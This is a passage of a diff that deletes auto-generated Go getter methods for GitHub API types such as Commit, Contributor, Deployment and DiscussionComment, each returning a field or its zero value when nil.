*c.TotalIssueComments -} - -// GetTotalPullRequestComments returns the TotalPullRequestComments field if it's non-nil, zero value otherwise. -func (c *CommentStats) GetTotalPullRequestComments() int { - if c == nil || c.TotalPullRequestComments == nil { - return 0 - } - return *c.TotalPullRequestComments -} - -// GetAuthor returns the Author field. -func (c *Commit) GetAuthor() *CommitAuthor { - if c == nil { - return nil - } - return c.Author -} - -// GetCommentCount returns the CommentCount field if it's non-nil, zero value otherwise. -func (c *Commit) GetCommentCount() int { - if c == nil || c.CommentCount == nil { - return 0 - } - return *c.CommentCount -} - -// GetCommitter returns the Committer field. -func (c *Commit) GetCommitter() *CommitAuthor { - if c == nil { - return nil - } - return c.Committer -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *Commit) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (c *Commit) GetMessage() string { - if c == nil || c.Message == nil { - return "" - } - return *c.Message -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (c *Commit) GetNodeID() string { - if c == nil || c.NodeID == nil { - return "" - } - return *c.NodeID -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *Commit) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetStats returns the Stats field. -func (c *Commit) GetStats() *CommitStats { - if c == nil { - return nil - } - return c.Stats -} - -// GetTree returns the Tree field. -func (c *Commit) GetTree() *Tree { - if c == nil { - return nil - } - return c.Tree -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *Commit) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetVerification returns the Verification field. -func (c *Commit) GetVerification() *SignatureVerification { - if c == nil { - return nil - } - return c.Verification -} - -// GetDate returns the Date field if it's non-nil, zero value otherwise. -func (c *CommitAuthor) GetDate() time.Time { - if c == nil || c.Date == nil { - return time.Time{} - } - return *c.Date -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (c *CommitAuthor) GetEmail() string { - if c == nil || c.Email == nil { - return "" - } - return *c.Email -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (c *CommitAuthor) GetLogin() string { - if c == nil || c.Login == nil { - return "" - } - return *c.Login -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CommitAuthor) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (c *CommitCommentEvent) GetAction() string { - if c == nil || c.Action == nil { - return "" - } - return *c.Action -} - -// GetComment returns the Comment field. -func (c *CommitCommentEvent) GetComment() *RepositoryComment { - if c == nil { - return nil - } - return c.Comment -} - -// GetInstallation returns the Installation field. -func (c *CommitCommentEvent) GetInstallation() *Installation { - if c == nil { - return nil - } - return c.Installation -} - -// GetRepo returns the Repo field. -func (c *CommitCommentEvent) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetSender returns the Sender field. -func (c *CommitCommentEvent) GetSender() *User { - if c == nil { - return nil - } - return c.Sender -} - -// GetAdditions returns the Additions field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetAdditions() int { - if c == nil || c.Additions == nil { - return 0 - } - return *c.Additions -} - -// GetBlobURL returns the BlobURL field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetBlobURL() string { - if c == nil || c.BlobURL == nil { - return "" - } - return *c.BlobURL -} - -// GetChanges returns the Changes field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetChanges() int { - if c == nil || c.Changes == nil { - return 0 - } - return *c.Changes -} - -// GetContentsURL returns the ContentsURL field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetContentsURL() string { - if c == nil || c.ContentsURL == nil { - return "" - } - return *c.ContentsURL -} - -// GetDeletions returns the Deletions field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetDeletions() int { - if c == nil || c.Deletions == nil { - return 0 - } - return *c.Deletions -} - -// GetFilename returns the Filename field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetFilename() string { - if c == nil || c.Filename == nil { - return "" - } - return *c.Filename -} - -// GetPatch returns the Patch field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetPatch() string { - if c == nil || c.Patch == nil { - return "" - } - return *c.Patch -} - -// GetPreviousFilename returns the PreviousFilename field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetPreviousFilename() string { - if c == nil || c.PreviousFilename == nil { - return "" - } - return *c.PreviousFilename -} - -// GetRawURL returns the RawURL field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetRawURL() string { - if c == nil || c.RawURL == nil { - return "" - } - return *c.RawURL -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetAuthor returns the Author field. -func (c *CommitResult) GetAuthor() *User { - if c == nil { - return nil - } - return c.Author -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (c *CommitResult) GetCommentsURL() string { - if c == nil || c.CommentsURL == nil { - return "" - } - return *c.CommentsURL -} - -// GetCommit returns the Commit field. -func (c *CommitResult) GetCommit() *Commit { - if c == nil { - return nil - } - return c.Commit -} - -// GetCommitter returns the Committer field. -func (c *CommitResult) GetCommitter() *User { - if c == nil { - return nil - } - return c.Committer -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CommitResult) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetRepository returns the Repository field. -func (c *CommitResult) GetRepository() *Repository { - if c == nil { - return nil - } - return c.Repository -} - -// GetScore returns the Score field. -func (c *CommitResult) GetScore() *float64 { - if c == nil { - return nil - } - return c.Score -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *CommitResult) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CommitResult) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetAheadBy returns the AheadBy field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetAheadBy() int { - if c == nil || c.AheadBy == nil { - return 0 - } - return *c.AheadBy -} - -// GetBaseCommit returns the BaseCommit field. -func (c *CommitsComparison) GetBaseCommit() *RepositoryCommit { - if c == nil { - return nil - } - return c.BaseCommit -} - -// GetBehindBy returns the BehindBy field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetBehindBy() int { - if c == nil || c.BehindBy == nil { - return 0 - } - return *c.BehindBy -} - -// GetDiffURL returns the DiffURL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetDiffURL() string { - if c == nil || c.DiffURL == nil { - return "" - } - return *c.DiffURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetMergeBaseCommit returns the MergeBaseCommit field. -func (c *CommitsComparison) GetMergeBaseCommit() *RepositoryCommit { - if c == nil { - return nil - } - return c.MergeBaseCommit -} - -// GetPatchURL returns the PatchURL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetPatchURL() string { - if c == nil || c.PatchURL == nil { - return "" - } - return *c.PatchURL -} - -// GetPermalinkURL returns the PermalinkURL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetPermalinkURL() string { - if c == nil || c.PermalinkURL == nil { - return "" - } - return *c.PermalinkURL -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetTotalCommits returns the TotalCommits field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetTotalCommits() int { - if c == nil || c.TotalCommits == nil { - return 0 - } - return *c.TotalCommits -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (c *CommitsSearchResult) GetIncompleteResults() bool { - if c == nil || c.IncompleteResults == nil { - return false - } - return *c.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (c *CommitsSearchResult) GetTotal() int { - if c == nil || c.Total == nil { - return 0 - } - return *c.Total -} - -// GetAdditions returns the Additions field if it's non-nil, zero value otherwise. -func (c *CommitStats) GetAdditions() int { - if c == nil || c.Additions == nil { - return 0 - } - return *c.Additions -} - -// GetDeletions returns the Deletions field if it's non-nil, zero value otherwise. -func (c *CommitStats) GetDeletions() int { - if c == nil || c.Deletions == nil { - return 0 - } - return *c.Deletions -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (c *CommitStats) GetTotal() int { - if c == nil || c.Total == nil { - return 0 - } - return *c.Total -} - -// GetCodeOfConduct returns the CodeOfConduct field. -func (c *CommunityHealthFiles) GetCodeOfConduct() *Metric { - if c == nil { - return nil - } - return c.CodeOfConduct -} - -// GetContributing returns the Contributing field. -func (c *CommunityHealthFiles) GetContributing() *Metric { - if c == nil { - return nil - } - return c.Contributing -} - -// GetIssueTemplate returns the IssueTemplate field. -func (c *CommunityHealthFiles) GetIssueTemplate() *Metric { - if c == nil { - return nil - } - return c.IssueTemplate -} - -// GetLicense returns the License field. -func (c *CommunityHealthFiles) GetLicense() *Metric { - if c == nil { - return nil - } - return c.License -} - -// GetPullRequestTemplate returns the PullRequestTemplate field. -func (c *CommunityHealthFiles) GetPullRequestTemplate() *Metric { - if c == nil { - return nil - } - return c.PullRequestTemplate -} - -// GetReadme returns the Readme field. -func (c *CommunityHealthFiles) GetReadme() *Metric { - if c == nil { - return nil - } - return c.Readme -} - -// GetFiles returns the Files field. -func (c *CommunityHealthMetrics) GetFiles() *CommunityHealthFiles { - if c == nil { - return nil - } - return c.Files -} - -// GetHealthPercentage returns the HealthPercentage field if it's non-nil, zero value otherwise. -func (c *CommunityHealthMetrics) GetHealthPercentage() int { - if c == nil || c.HealthPercentage == nil { - return 0 - } - return *c.HealthPercentage -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (c *CommunityHealthMetrics) GetUpdatedAt() time.Time { - if c == nil || c.UpdatedAt == nil { - return time.Time{} - } - return *c.UpdatedAt -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetAvatarURL() string { - if c == nil || c.AvatarURL == nil { - return "" - } - return *c.AvatarURL -} - -// GetContributions returns the Contributions field if it's non-nil, zero value otherwise. -func (c *Contributor) GetContributions() int { - if c == nil || c.Contributions == nil { - return 0 - } - return *c.Contributions -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetEventsURL() string { - if c == nil || c.EventsURL == nil { - return "" - } - return *c.EventsURL -} - -// GetFollowersURL returns the FollowersURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetFollowersURL() string { - if c == nil || c.FollowersURL == nil { - return "" - } - return *c.FollowersURL -} - -// GetFollowingURL returns the FollowingURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetFollowingURL() string { - if c == nil || c.FollowingURL == nil { - return "" - } - return *c.FollowingURL -} - -// GetGistsURL returns the GistsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetGistsURL() string { - if c == nil || c.GistsURL == nil { - return "" - } - return *c.GistsURL -} - -// GetGravatarID returns the GravatarID field if it's non-nil, zero value otherwise. -func (c *Contributor) GetGravatarID() string { - if c == nil || c.GravatarID == nil { - return "" - } - return *c.GravatarID -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (c *Contributor) GetID() int64 { - if c == nil || c.ID == nil { - return 0 - } - return *c.ID -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (c *Contributor) GetLogin() string { - if c == nil || c.Login == nil { - return "" - } - return *c.Login -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (c *Contributor) GetNodeID() string { - if c == nil || c.NodeID == nil { - return "" - } - return *c.NodeID -} - -// GetOrganizationsURL returns the OrganizationsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetOrganizationsURL() string { - if c == nil || c.OrganizationsURL == nil { - return "" - } - return *c.OrganizationsURL -} - -// GetReceivedEventsURL returns the ReceivedEventsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetReceivedEventsURL() string { - if c == nil || c.ReceivedEventsURL == nil { - return "" - } - return *c.ReceivedEventsURL -} - -// GetReposURL returns the ReposURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetReposURL() string { - if c == nil || c.ReposURL == nil { - return "" - } - return *c.ReposURL -} - -// GetSiteAdmin returns the SiteAdmin field if it's non-nil, zero value otherwise. -func (c *Contributor) GetSiteAdmin() bool { - if c == nil || c.SiteAdmin == nil { - return false - } - return *c.SiteAdmin -} - -// GetStarredURL returns the StarredURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetStarredURL() string { - if c == nil || c.StarredURL == nil { - return "" - } - return *c.StarredURL -} - -// GetSubscriptionsURL returns the SubscriptionsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetSubscriptionsURL() string { - if c == nil || c.SubscriptionsURL == nil { - return "" - } - return *c.SubscriptionsURL -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (c *Contributor) GetType() string { - if c == nil || c.Type == nil { - return "" - } - return *c.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetAuthor returns the Author field. -func (c *ContributorStats) GetAuthor() *Contributor { - if c == nil { - return nil - } - return c.Author -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (c *ContributorStats) GetTotal() int { - if c == nil || c.Total == nil { - return 0 - } - return *c.Total -} - -// GetCompletedAt returns the CompletedAt field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetCompletedAt() Timestamp { - if c == nil || c.CompletedAt == nil { - return Timestamp{} - } - return *c.CompletedAt -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetConclusion() string { - if c == nil || c.Conclusion == nil { - return "" - } - return *c.Conclusion -} - -// GetDetailsURL returns the DetailsURL field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetDetailsURL() string { - if c == nil || c.DetailsURL == nil { - return "" - } - return *c.DetailsURL -} - -// GetExternalID returns the ExternalID field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetExternalID() string { - if c == nil || c.ExternalID == nil { - return "" - } - return *c.ExternalID -} - -// GetOutput returns the Output field. -func (c *CreateCheckRunOptions) GetOutput() *CheckRunOutput { - if c == nil { - return nil - } - return c.Output -} - -// GetStartedAt returns the StartedAt field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetStartedAt() Timestamp { - if c == nil || c.StartedAt == nil { - return Timestamp{} - } - return *c.StartedAt -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetHeadBranch returns the HeadBranch field if it's non-nil, zero value otherwise. -func (c *CreateCheckSuiteOptions) GetHeadBranch() string { - if c == nil || c.HeadBranch == nil { - return "" - } - return *c.HeadBranch -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetDescription() string { - if c == nil || c.Description == nil { - return "" - } - return *c.Description -} - -// GetInstallation returns the Installation field. -func (c *CreateEvent) GetInstallation() *Installation { - if c == nil { - return nil - } - return c.Installation -} - -// GetMasterBranch returns the MasterBranch field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetMasterBranch() string { - if c == nil || c.MasterBranch == nil { - return "" - } - return *c.MasterBranch -} - -// GetPusherType returns the PusherType field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetPusherType() string { - if c == nil || c.PusherType == nil { - return "" - } - return *c.PusherType -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetRef() string { - if c == nil || c.Ref == nil { - return "" - } - return *c.Ref -} - -// GetRefType returns the RefType field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetRefType() string { - if c == nil || c.RefType == nil { - return "" - } - return *c.RefType -} - -// GetRepo returns the Repo field. -func (c *CreateEvent) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetSender returns the Sender field. -func (c *CreateEvent) GetSender() *User { - if c == nil { - return nil - } - return c.Sender -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (c *CreateOrgInvitationOptions) GetEmail() string { - if c == nil || c.Email == nil { - return "" - } - return *c.Email -} - -// GetInviteeID returns the InviteeID field if it's non-nil, zero value otherwise. -func (c *CreateOrgInvitationOptions) GetInviteeID() int64 { - if c == nil || c.InviteeID == nil { - return 0 - } - return *c.InviteeID -} - -// GetRole returns the Role field if it's non-nil, zero value otherwise. -func (c *CreateOrgInvitationOptions) GetRole() string { - if c == nil || c.Role == nil { - return "" - } - return *c.Role -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (c *CreateUserProjectOptions) GetBody() string { - if c == nil || c.Body == nil { - return "" - } - return *c.Body -} - -// GetInstallation returns the Installation field. -func (d *DeleteEvent) GetInstallation() *Installation { - if d == nil { - return nil - } - return d.Installation -} - -// GetPusherType returns the PusherType field if it's non-nil, zero value otherwise. -func (d *DeleteEvent) GetPusherType() string { - if d == nil || d.PusherType == nil { - return "" - } - return *d.PusherType -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (d *DeleteEvent) GetRef() string { - if d == nil || d.Ref == nil { - return "" - } - return *d.Ref -} - -// GetRefType returns the RefType field if it's non-nil, zero value otherwise. -func (d *DeleteEvent) GetRefType() string { - if d == nil || d.RefType == nil { - return "" - } - return *d.RefType -} - -// GetRepo returns the Repo field. -func (d *DeleteEvent) GetRepo() *Repository { - if d == nil { - return nil - } - return d.Repo -} - -// GetSender returns the Sender field. -func (d *DeleteEvent) GetSender() *User { - if d == nil { - return nil - } - return d.Sender -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (d *DeployKeyEvent) GetAction() string { - if d == nil || d.Action == nil { - return "" - } - return *d.Action -} - -// GetKey returns the Key field. -func (d *DeployKeyEvent) GetKey() *Key { - if d == nil { - return nil - } - return d.Key -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (d *Deployment) GetCreatedAt() Timestamp { - if d == nil || d.CreatedAt == nil { - return Timestamp{} - } - return *d.CreatedAt -} - -// GetCreator returns the Creator field. -func (d *Deployment) GetCreator() *User { - if d == nil { - return nil - } - return d.Creator -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (d *Deployment) GetDescription() string { - if d == nil || d.Description == nil { - return "" - } - return *d.Description -} - -// GetEnvironment returns the Environment field if it's non-nil, zero value otherwise. -func (d *Deployment) GetEnvironment() string { - if d == nil || d.Environment == nil { - return "" - } - return *d.Environment -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (d *Deployment) GetID() int64 { - if d == nil || d.ID == nil { - return 0 - } - return *d.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (d *Deployment) GetNodeID() string { - if d == nil || d.NodeID == nil { - return "" - } - return *d.NodeID -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (d *Deployment) GetRef() string { - if d == nil || d.Ref == nil { - return "" - } - return *d.Ref -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (d *Deployment) GetRepositoryURL() string { - if d == nil || d.RepositoryURL == nil { - return "" - } - return *d.RepositoryURL -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (d *Deployment) GetSHA() string { - if d == nil || d.SHA == nil { - return "" - } - return *d.SHA -} - -// GetStatusesURL returns the StatusesURL field if it's non-nil, zero value otherwise. -func (d *Deployment) GetStatusesURL() string { - if d == nil || d.StatusesURL == nil { - return "" - } - return *d.StatusesURL -} - -// GetTask returns the Task field if it's non-nil, zero value otherwise. -func (d *Deployment) GetTask() string { - if d == nil || d.Task == nil { - return "" - } - return *d.Task -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (d *Deployment) GetUpdatedAt() Timestamp { - if d == nil || d.UpdatedAt == nil { - return Timestamp{} - } - return *d.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (d *Deployment) GetURL() string { - if d == nil || d.URL == nil { - return "" - } - return *d.URL -} - -// GetDeployment returns the Deployment field. -func (d *DeploymentEvent) GetDeployment() *Deployment { - if d == nil { - return nil - } - return d.Deployment -} - -// GetInstallation returns the Installation field. -func (d *DeploymentEvent) GetInstallation() *Installation { - if d == nil { - return nil - } - return d.Installation -} - -// GetRepo returns the Repo field. -func (d *DeploymentEvent) GetRepo() *Repository { - if d == nil { - return nil - } - return d.Repo -} - -// GetSender returns the Sender field. -func (d *DeploymentEvent) GetSender() *User { - if d == nil { - return nil - } - return d.Sender -} - -// GetAutoMerge returns the AutoMerge field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetAutoMerge() bool { - if d == nil || d.AutoMerge == nil { - return false - } - return *d.AutoMerge -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetDescription() string { - if d == nil || d.Description == nil { - return "" - } - return *d.Description -} - -// GetEnvironment returns the Environment field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetEnvironment() string { - if d == nil || d.Environment == nil { - return "" - } - return *d.Environment -} - -// GetProductionEnvironment returns the ProductionEnvironment field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetProductionEnvironment() bool { - if d == nil || d.ProductionEnvironment == nil { - return false - } - return *d.ProductionEnvironment -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetRef() string { - if d == nil || d.Ref == nil { - return "" - } - return *d.Ref -} - -// GetRequiredContexts returns the RequiredContexts field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetRequiredContexts() []string { - if d == nil || d.RequiredContexts == nil { - return nil - } - return *d.RequiredContexts -} - -// GetTask returns the Task field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetTask() string { - if d == nil || d.Task == nil { - return "" - } - return *d.Task -} - -// GetTransientEnvironment returns the TransientEnvironment field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetTransientEnvironment() bool { - if d == nil || d.TransientEnvironment == nil { - return false - } - return *d.TransientEnvironment -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetCreatedAt() Timestamp { - if d == nil || d.CreatedAt == nil { - return Timestamp{} - } - return *d.CreatedAt -} - -// GetCreator returns the Creator field. -func (d *DeploymentStatus) GetCreator() *User { - if d == nil { - return nil - } - return d.Creator -} - -// GetDeploymentURL returns the DeploymentURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetDeploymentURL() string { - if d == nil || d.DeploymentURL == nil { - return "" - } - return *d.DeploymentURL -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetDescription() string { - if d == nil || d.Description == nil { - return "" - } - return *d.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetID() int64 { - if d == nil || d.ID == nil { - return 0 - } - return *d.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetNodeID() string { - if d == nil || d.NodeID == nil { - return "" - } - return *d.NodeID -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetRepositoryURL() string { - if d == nil || d.RepositoryURL == nil { - return "" - } - return *d.RepositoryURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetState() string { - if d == nil || d.State == nil { - return "" - } - return *d.State -} - -// GetTargetURL returns the TargetURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetTargetURL() string { - if d == nil || d.TargetURL == nil { - return "" - } - return *d.TargetURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetUpdatedAt() Timestamp { - if d == nil || d.UpdatedAt == nil { - return Timestamp{} - } - return *d.UpdatedAt -} - -// GetDeployment returns the Deployment field. -func (d *DeploymentStatusEvent) GetDeployment() *Deployment { - if d == nil { - return nil - } - return d.Deployment -} - -// GetDeploymentStatus returns the DeploymentStatus field. -func (d *DeploymentStatusEvent) GetDeploymentStatus() *DeploymentStatus { - if d == nil { - return nil - } - return d.DeploymentStatus -} - -// GetInstallation returns the Installation field. -func (d *DeploymentStatusEvent) GetInstallation() *Installation { - if d == nil { - return nil - } - return d.Installation -} - -// GetRepo returns the Repo field. -func (d *DeploymentStatusEvent) GetRepo() *Repository { - if d == nil { - return nil - } - return d.Repo -} - -// GetSender returns the Sender field. -func (d *DeploymentStatusEvent) GetSender() *User { - if d == nil { - return nil - } - return d.Sender -} - -// GetAutoInactive returns the AutoInactive field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetAutoInactive() bool { - if d == nil || d.AutoInactive == nil { - return false - } - return *d.AutoInactive -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetDescription() string { - if d == nil || d.Description == nil { - return "" - } - return *d.Description -} - -// GetEnvironment returns the Environment field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetEnvironment() string { - if d == nil || d.Environment == nil { - return "" - } - return *d.Environment -} - -// GetEnvironmentURL returns the EnvironmentURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetEnvironmentURL() string { - if d == nil || d.EnvironmentURL == nil { - return "" - } - return *d.EnvironmentURL -} - -// GetLogURL returns the LogURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetLogURL() string { - if d == nil || d.LogURL == nil { - return "" - } - return *d.LogURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetState() string { - if d == nil || d.State == nil { - return "" - } - return *d.State -} - -// GetAuthor returns the Author field. -func (d *DiscussionComment) GetAuthor() *User { - if d == nil { - return nil - } - return d.Author -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetBody() string { - if d == nil || d.Body == nil { - return "" - } - return *d.Body -} - -// GetBodyHTML returns the BodyHTML field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetBodyHTML() string { - if d == nil || d.BodyHTML == nil { - return "" - } - return *d.BodyHTML -} - -// GetBodyVersion returns the BodyVersion field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetBodyVersion() string { - if d == nil || d.BodyVersion == nil { - return "" - } - return *d.BodyVersion -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetCreatedAt() Timestamp { - if d == nil || d.CreatedAt == nil { - return Timestamp{} - } - return *d.CreatedAt -} - -// GetDiscussionURL returns the DiscussionURL field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetDiscussionURL() string { - if d == nil || d.DiscussionURL == nil { - return "" - } - return *d.DiscussionURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetHTMLURL() string { - if d == nil || d.HTMLURL == nil { - return "" - } - return *d.HTMLURL -} - -// GetLastEditedAt returns the LastEditedAt field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetLastEditedAt() Timestamp { - if d == nil || d.LastEditedAt == nil { - return Timestamp{} - } - return *d.LastEditedAt -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetNodeID() string { - if d == nil || d.NodeID == nil { - return "" - } - return *d.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetNumber() int { - if d == nil || d.Number == nil { - return 0 - } - return *d.Number -} - -// GetReactions returns the Reactions field. -func (d *DiscussionComment) GetReactions() *Reactions { - if d == nil { - return nil - } - return d.Reactions -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetUpdatedAt() Timestamp { - if d == nil || d.UpdatedAt == nil { - return Timestamp{} - } - return *d.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetURL() string { - if d == nil || d.URL == nil { - return "" - } - return *d.URL -} - -// GetTeams returns the Teams field if it's non-nil, zero value otherwise. -func (d *DismissalRestrictionsRequest) GetTeams() []string { - if d == nil || d.Teams == nil { - return nil - } - return *d.Teams -} - -// GetUsers returns the Users field if it's non-nil, zero value otherwise. -func (d *DismissalRestrictionsRequest) GetUsers() []string { - if d == nil || d.Users == nil { - return nil - } - return *d.Users -} - -// GetDismissalCommitID returns the DismissalCommitID field if it's non-nil, zero value otherwise. -func (d *DismissedReview) 